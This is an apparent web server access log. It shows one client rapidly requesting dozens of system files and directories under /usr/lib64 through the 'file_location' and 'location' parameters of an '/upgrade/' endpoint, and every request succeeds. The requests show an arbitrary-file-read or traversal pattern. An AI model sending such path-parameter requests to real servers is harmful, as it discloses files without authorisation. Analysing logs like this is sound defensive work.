45.135.193.11 - - [11/Sep/2026:22:59:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgraphene-1.0.so.0.1000.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 151605 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgraphene-1.0.so.0.1000.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibusb-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 161555 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibusb-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shape.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108841 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shape.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibzip.so.5.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160734 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibzip.so.5.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:11 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgawk HTTP/1.1" 200 6689 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgawk" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaio.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107988 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaio.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibformw.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 139952 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibformw.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhistory.so.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126628 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhistory.so.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5clnt.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 139998 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5clnt.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicudata.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 10524555 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicudata.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibFLAC++.so.6.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 102897 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibFLAC++.so.6.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasound.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 608772 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasound.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcom_err.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110263 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcom_err.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjansson.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133539 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjansson.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap_r.so.2.0.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 286880 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap_r.so.2.0.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenuw.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120050 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenuw.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 154286 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtevent.so.0.17.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 144642 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtevent.so.0.17.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:18 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgtk-2.0 HTTP/1.1" 200 6089 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgtk-2.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibEGL.so.1.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132466 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibEGL.so.1.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibe2p.so.2.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120377 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibe2p.so.2.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibudev.so.1.7.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 198061 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibudev.so.1.7.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxslt.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 227973 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxslt.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibz.so.1.2.11&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153516 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibz.so.1.2.11&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrsvg-2.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 4132759 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrsvg-2.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libgnutls.so.30.40.4.hmac&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103997 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libgnutls.so.30.40.4.hmac&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcracklib_dict.hwm&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103865 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcracklib_dict.hwm&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgvpr.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 309402 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgvpr.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpolkit-agent-1.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121158 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpolkit-agent-1.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdecoder.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 209341 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdecoder.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibyajl.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120361 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibyajl.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FLLVMgold.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 149171 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FLLVMgold.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbpf.so.1.5.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 302793 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbpf.so.1.5.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibc_malloc_debug.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125438 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibc_malloc_debug.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_nouveau.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119791 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_nouveau.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssrpc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 162605 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssrpc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblzo2.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 157201 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblzo2.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmlx5.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 312862 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmlx5.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpng16.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 215702 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpng16.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libgmp.so.10.hmac&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103967 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libgmp.so.10.hmac&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssrpc.so.4.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 162655 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssrpc.so.4.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgvpr.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 309671 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgvpr.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoup-gnome-2.4.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107711 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsoup-gnome-2.4.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuser.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160186 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuser.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:29 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Ftcl8.6 HTTP/1.1" 200 5735 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Ftcl8.6" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqlclient_r.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 237997 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqlclient_r.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibselinux.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 187930 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibselinux.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xkb.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 138360 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xkb.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fld-linux-x86-64.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 541234 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fld-linux-x86-64.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbluetooth.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 183463 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbluetooth.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsm.so.1.0.19&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126733 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsm.so.1.0.19&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpipeline.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125658 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpipeline.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpipewire-0.3.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 479439 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpipewire-0.3.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtic.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136252 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtic.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:33 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Ffwupd-2.0.19 HTTP/1.1" 200 6290 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Ffwupd-2.0.19" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_program_options.so.1.75.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 214008 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_program_options.so.1.75.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpopt.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 129212 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpopt.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-passdb.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 194359 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-passdb.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xselinux.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113641 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xselinux.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:59:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 157700 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
